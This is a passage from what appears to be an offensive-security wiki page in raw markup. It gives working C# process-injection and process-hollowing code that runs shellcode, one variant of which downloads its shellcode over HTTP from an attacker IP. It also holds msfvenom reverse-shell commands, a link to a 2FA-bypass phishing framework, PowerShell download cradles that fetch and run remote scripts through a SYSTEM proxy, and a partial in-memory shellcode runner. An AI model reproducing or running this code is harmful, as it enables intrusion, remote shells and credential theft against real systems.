0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
